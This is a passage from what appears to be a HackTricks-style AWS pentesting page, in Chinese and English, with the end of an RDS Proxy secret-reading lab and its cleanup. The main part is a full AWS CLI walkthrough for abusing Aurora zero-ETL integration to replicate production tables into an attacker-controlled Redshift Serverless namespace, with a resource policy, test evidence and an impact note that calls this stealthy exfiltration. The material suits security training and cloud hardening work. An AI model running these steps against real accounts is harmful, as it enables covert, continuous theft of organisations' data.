aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
|
||||
--auth [AuthScheme:SECRETS] \
|
||||
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
|
||||
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
|
||||
aws rds wait db-proxy-available --db-proxy-name p0
|
||||
# Now run the enumeration + secret read from the Steps above
|
||||
```
|
||||
清理(实验室)
|
||||
```bash
|
||||
aws rds delete-db-proxy --db-proxy-name p0
|
||||
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### 隐秘的持续 exfiltration 通过 Aurora zero‑ETL 到 Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
滥用 Aurora PostgreSQL zero‑ETL integration 将生产数据持续复制到你控制的 Redshift Serverless 命名空间。若存在一个宽松的 Redshift 资源策略,授权对特定 Aurora cluster ARN 执行 CreateInboundIntegration/AuthorizeInboundIntegration,攻击者可以在无需 DB creds、快照或网络暴露的情况下建立近实时的数据副本。
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (用于查询)
|
||||
- `rds-data:ExecuteStatement` (可选;如需初始化数据)
|
||||
|
||||
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) 创建 Redshift Serverless 命名空间 + 工作组</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
|
||||
--admin-username adminuser --admin-user-password 'AdminPwd-1!' \
|
||||
--query namespace.namespaceArn --output text)
|
||||
RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \
|
||||
--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \
|
||||
--query workgroup.workgroupArn --output text)
|
||||
# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL)
|
||||
aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \
|
||||
--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) 配置 Redshift 资源策略以允许 Aurora 源</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
cat > rs-rp.json <<JSON
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AuthorizeInboundByRedshiftService",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"Service": "redshift.amazonaws.com"},
|
||||
"Action": "redshift:AuthorizeInboundIntegration",
|
||||
"Resource": "$RS_NS_ARN",
|
||||
"Condition": {"StringEquals": {"aws:SourceArn": "$SRC_ARN"}}
|
||||
},
|
||||
{
|
||||
"Sid": "AllowCreateInboundFromAccount",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "arn:aws:iam::$ACCOUNT_ID:root"},
|
||||
"Action": "redshift:CreateInboundIntegration",
|
||||
"Resource": "$RS_NS_ARN"
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --policy file://rs-rp.json
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) 创建 Aurora PostgreSQL 集群(启用 Data API 和 logical replication)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--engine aurora-postgresql --engine-version 16.4 \
|
||||
--master-username postgres --master-user-password 'InitPwd-1!' \
|
||||
--enable-http-endpoint --no-deletion-protection --backup-retention-period 1
|
||||
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
# Serverless v2 instance
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately
|
||||
aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \
|
||||
--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID
|
||||
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
# Cluster parameter group for zero‑ETL
|
||||
aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \
|
||||
--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params"
|
||||
aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \
|
||||
ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately
|
||||
aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text)
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) 从 RDS 创建 zero‑ETL 集成</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
--target-arn "$RS_NS_ARN" --integration-name ztl-demo \
|
||||
--data-filter 'include: postgres.*.*'
|
||||
# Redshift inbound integration should become ACTIVE
|
||||
aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN"
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) 在 Redshift 中物化并查询复制的数据</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
--sql "select integration_id from svv_integration" # take the GUID value
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
--sql "create database ztl_db from integration '<integration_id>' database postgres"
|
||||
# List tables replicated
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \
|
||||
--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;"
|
||||
```
|
||||
</details>
|
||||
|
||||
测试中观察到的证据:
|
||||
- redshift describe-inbound-integrations: Integration arn:...377a462b-... 的 Status 为 ACTIVE
|
||||
- SVV_INTEGRATION 显示 integration_id 377a462b-c42c-4f08-937b-77fe75d98211,state 为 PendingDbConnectState(在创建 DB 之前)
|
||||
- 在执行 CREATE DATABASE FROM INTEGRATION 之后,列出表发现 schema 为 ztl,table 为 customers;从 ztl.customers 查询返回 2 行(Alice、Bob)。
|
||||
|
||||
影响:攻击者可以在不使用数据库凭据、备份或对源集群的网络访问的情况下,持续近实时地对选定的 Aurora PostgreSQL 表进行 exfiltration,目标为由攻击者控制的 Redshift Serverless。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user